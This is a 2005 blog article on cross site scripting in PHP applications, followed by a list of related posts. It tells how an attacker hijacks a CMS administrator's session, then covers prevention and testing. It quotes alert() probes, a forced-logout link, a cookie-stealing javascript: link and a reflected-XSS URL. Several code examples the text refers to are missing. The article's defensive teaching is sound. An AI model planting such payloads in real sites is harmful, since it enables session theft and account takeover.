Cross Site Scripting Could Make You Lose Your Cookies

Cross Site Scripting (XSS) is a form of security exploit that threatens any web application. Its severity is often underestimated. The problems go far beyond annoyances and practical jokes. By stealing your cookies, Cross Site Scripting attacks can allow attackers to gain administrative access to your CMS.

How does it come about? The problem forms when a web application (such as a PHP script) displays user-submitted content without filtering it. If a user submits a guestbook entry, a blog comment, or even a username and password, that content could contain all sorts of nasties that need to be filtered out if they are to be displayed in a Webpage. These may be either relatively harmless – for example, practical jokes – or malicious – code that is intended to gain private information in order to break into your system. Typically these ‘nasties’ are scripts – hence the name ‘Cross Site Scripting’.

Relatively harmless uses of Cross Site Scripting:

  • HTML code intended to disrupt the layout or appearance of a Webpage.
  • Scripts, applets or objects intended as a practical joke, displaying annoying messages or popups.

Some more harmful uses of Cross Site Scripting:

  • Misleading hyperlinks which link to URLs that would cause action to occur, ie logging out a user, making a post, or changing a password.
  • Scripts or "javascript:" hyperlinks designed to collect private information from cookies and transmit it to a third party website in order to gain administrator access to the system.
  • Objects or applets intended to exploit a known security vulnerability in a particular browser.

Life Cycle of a Cross Site Scripting Exploit

I find that Cross Site Scripting can be a difficult concept to picture. I’ll lead you through a typical Cross Site Scripting scenario, to gives some examples of what is possible.

Joe has built himself a CMS complete with user accounts, sessions and different access levels for different users. To log into his CMS, he enters a username and password into a login form on the site. For the duration of his browser session, a cookie stores his ‘session ID’ which allows him to remain logged-in while navigating around the site.

Joe’s website also allows any user to sign up for a new account, and place a ‘message’ onto the Website. For example, a message can be placed in a blog comment, or in the user’s profile, or even the user’s username. Unfortunately, Joe forgot to use htmlspecialchars in some places where he echoes user-submitted content to the browser.

A malicious user, Rick, signs up at Joe’s website and fills out his new profile page. In his user profile, he includes the text:

 <script>alert('Hello World');</script> 

Now, whenever Joe (or anybody else) views Rick’s user profile, he gets an annoying JavaScript popup taunting him.

Rick gets a little craftier and places the following code into a blog comment on Joe’s site:

 <a href="/usercp.php?action=logout">A webpage about cats</a>

Now, whenever Joe (or anybody else) clicks the link believing it will take them to a Webpage about cats, he will be logged out of his CMS. It’s very annoying, and puzzles Joe for a long time.

It gets worse. Rick now places the following code into a guestbook entry of Joe’s page:


Now, whenever Joe (or anybody else) views the guestbook, he will be redirected to a page on Rick’s site. What’s more, the cookie from Joe’s browser session has been transmitted to Rick’s web server as part of the URL.

Rick now uses the cookie from Joe’s browser session to browse Joe’s CMS using Joe’s account. Rick can change Joe’s password, give himself administrator access, or start deleting content.

Rick gained administrator access to Joe’s CMS by placing a <script> tag into Joe’s guestbook. What we are dealing with here is <i>session hijacking</i> – stealing the session ID (which is often stored in a cookie) from another user in order to impersonate them on the system.

Rick could have used other methods to achieve the same result. For instance, Rick could have used a JavaScript link to trick Joe into sending the very same information to his server:

 <a href="javascript:location.replace(''+document.cookie)"> A Webpage about dogs</a>

If Joe clicked that link, as he probably does often, his session ID would be transmitted to Rick’s server.

Furthermore, Rick could have embedded his JavaScript into event handler attributes such as ‘onclick’, ‘onmousemove’ and ‘onsubmit’ – the latter which could be used to modify a form on the site.

Rick could also have tried using tools other than JavaScript – such as ActiveX controls or applets.

Patch Those Holes

Below are some steps which you can take to help prevent Cross Site Scripting attacks from being used on your PHP application.

Whenever displaying user-submitted content on your Website, use htmlspecialchars on the data before echoing it. This includes data that comes from a database.

You may be displaying unfiltered user-submitted content where you don’t realise it. For example, the following is dangerous.

 if (strlen($_GET['username']) > 12) {   exit("Error: {$_GET['username']} is too long.  Your username may be nor more than 12 characters"); } 

In this case, the user variable "username" is being sent to the browser unfiltered. A user could construct a URL similar to the following and trick people into clicking it:<script>alert('gotcha');</script> 

That JavaScript is harmless, but could be modified to steal information from cookies and transmit it to a third party.

You can also reduce the amount of damage that could be done if a user does hijack a user session. When designing your CMS, do not rely entirely on cookies for user authentication. In addition to the cookie, users should also be asked for their password when they take certain high-risk actions such as using the ‘administrator’ section of your CMS, or changing their password. So, if your session is hijacked using your session ID, the attacker won’t be able to change your password or seriously damage your website. Reducing the risk in the case of an attack, however, should be a secondary priority to preventing an attack in the first place.

Testing for Cross Site Scripting Vulnerabilities in Your Application

A quick way to test for Cross Site Scripting vulnerabilities is to insert the following code into any user-submitted variable. For example, paste the following code into your blog comment form:

 <script>alert('Hello World!');</script>

Then, visit your blog to see what the comment looks like. If you see the code as you submitted it, your application handled it correctly. If your comment is blank, and you see a JavaScript popup, your application is vulnerable.

It’s important to not just test the obvious places where users can submit content. Think outside the square. For example, you display usernames all over the place – could a user possible embed HTML or JavaScript into a username? What about signatures? Secret questions and answers?

Cross Site Scripting can even be a problem in situations where HTML is filtered out of user-submitted content but another markup language is used:


Wiki markup:

The above two exploits (for bulletin boards and Wikis) require an unsuspecting user to actually click the link in order for the script to be executed.  Interestingly, the Wiki we use in-house at SitePoint is vulnerable.  If anybody is tricked into clicking a link, any JavaScript in that link will run. Thankfully, vBulletin does not appear to be vulnerable to javascript: links submitted using the method above. More information about Cross Site Scripting is available in this CERT Advisory and this document from Apache.  The Apache document points out that the name "Cross Site Scripting" is a misleading term, since the attacks need not involve scripting, and they need not even be across sites.  Previously in this blog, Harry talks about Handling Content From Strangers, which gives some more information on how you can protect your application from exploits. Have a look at this very thorough article by Chris Shiflett on preventing Cross Site Scripting attacks. Cross Site Scripting is only one possible form of remote attack on a web application.  It is probably one of the most common vulnerabilities in web applications, along with the SQL Injection vulnerability which has been discussed before in this blog in relation to magic quotes in PHP.


Category: Time: 2005-07-18 Views: 1

Related post

  • Paranoia: Cross Site Scripting 2003-08-29

    They're watching you, you know that? They've been scoping you out for quite some time, looking at ways to screw with you and your site. All right, you think your code is secure, eh? Got the latest handy-dandy encryption on your stuff, and you're all

  • What makes an Android application vulnerable to Cross-site scripting (XSS)? 2015-05-22

    Definition of XSS If you search the web, there are many different ways to define a cross site scripting attack. Simply put, XSS vulnerabilities occur when a malicious attacker is permitted to inject a client-side script into a web site that is viewed

  • How to log into sites that you have set up Google 2 Step Authenticator if you lose your phone? 2013-07-29

    If you use Google Authenticator to log into sites using 2 Factor Authentication, how do you log in after you lose your phone? Can you install Google Authenticator on another device? --------------Solutions------------- You can install Google Authenti

  • How can I explain Cross Site Scripting in a non-technical way? 2010-12-28

    I work programming Enterprise Java applications and do very little web development in 2002. I'm interested in security and like to read articles about it. However, I never fully understand how XSS works. Can you explain it to me or pointing some reso

  • Cross-Site Scripting Attacks (XSS) 2012-04-30

    A cross-site scripting attack is one of the top 5 security attacks carried out on a daily basis across the Internet, and your PHP scripts may not be immune. Also known as XSS, the attack is basically a type of code injection attack which is made poss

  • What is the risk of cross site scripting if I embed javascript into a website 2013-08-22

    What is the risk of cross site scripting, if I embed javascript into a website? Quite simply, I am using a 'site builder', and they don't allow rotating images, but they allow you to embed code... So I thought I would do that. My site doesn't have a

  • Cross site scripting verification on a field which does not accept more than 20 characters 2011-06-14

    While performing penetration testing, I got stuck to a point. There is a text field which does not accept more than 20 characters(server side validation). I inserted following piece of code to check XSS (From RSnake's XSS cheat sheet): '';!--"<XSS

  • What is cross-site-scripting? 2012-07-21

    Possible Duplicate: Can anybody explain XSS to an idiot? First I ask is there an aboslute definition? I've done some Googleing and it seems like everyone says something different. On SO one person says An XSS vulnerability exists whenever a string fr

  • What is the danger of Reflected Cross Site Scripting? 2012-08-28

    What is the danger of Reflected Cross Site Scripting? I understand the Reflected XSS is dangerous, because it's possible. But what practical attacks can be performed using Reflected XSS? --------------Solutions------------- You can do a lot when you

  • Regarding cross site scripting? 2013-07-01

    My application has a user management module which uses fields like username, first name, email-id, password,.. . I tried scanning these fields and filling in malicious JavaScript to test for cross site scripting like anil<script>alert(1);</alert&

  • Cross site scripting in url? 2013-11-12

    This question already has an answer here: What is the danger of Reflected Cross Site Scripting? 4 answers I currently have a xss problem in this site."><script>alert("hel

  • Prevention from cross site scripting in different scenerio? 2014-02-13

    I could not validate malicious characters like ' .< > etc because these characters are required in my application. Also I could not encode characters because user supposed to enter HTML tags in my application so in case we encode characters, html ta

  • Cross-Site Scripting: Poor Validation (Input Validation and Representation, Data Flow) 2016-02-12

    I have scan my application in HP fortify portal and getting an issue Cross-Site Scripting: Poor Validation (Input Validation and Representation, Data Flow). I am already using ESAPI library. What should I do to solve this issue. Is there any other li

  • Security: Preventing Cross-site Scripting 2004-02-08

    Good article summarizing the dangers of Cross-Site Scripting and how to prevent them. Examples are in Perl but the basic message is never trust anything from the browser. Where cross-site scripting is concerned, particular caution needs to be taken i

  • Will my Wordpress site become vulnerable to Cross-Site Scripting (XSS) if I allow img tags in the comments area? 2011-05-23

    I'm planning to follow this tutorial in order to allow my subscribers to add images to comments (actually a custom post type called "Replies"). Wordpress filters <img> tags by default (except for the admin). Will my Wordpress site be vulne

  • Cross-site Scripting (XSS) in security review.? 2013-05-24

    I am getting Cross-site Scripting (XSS) while scanning in scanner.if i remove javascript there is no error..what to change in javascript code..please help its quite urgent...may be encode something... Class accid=ApexPages.currentPage().get

  • Are cross site scripting attacks and sql injection a good topic for my thesis? 2013-12-29

    So I'm doing my undergraduate thesis, I would like to explore how cross site scripting sql injections occur. And for the purpose of the thesis I'd also like to create a fictional website that is vulnerable to cross site scripting and sql injection an

  • Cross site scripting when the greater than and less than signs are escaped? 2015-02-17

    If a website encodes < to < and > becomes >, is it still possible to perform cross site scripting? What would you enclose the script tags in? For example, on one of my sites I can use <script>alert(1)</script> normally, but how can

  • How Google Analytics code performs cross site scripting? 2015-05-18

    As we all probably know - browsers are not allowing us to perform any cross site scripting (for security reasons). However Google Analytics code should perform one in order to inform Google server about site visitor activity. So somehow Google's code

iOS development

Android development

Python development

JAVA development

Development language

PHP development

Ruby development


Front-end development


development tools

Open Platform

Javascript development

.NET development

cloud computing


Copyright (C), All Rights Reserved.

processed in 1.636 (s). 13 q(s)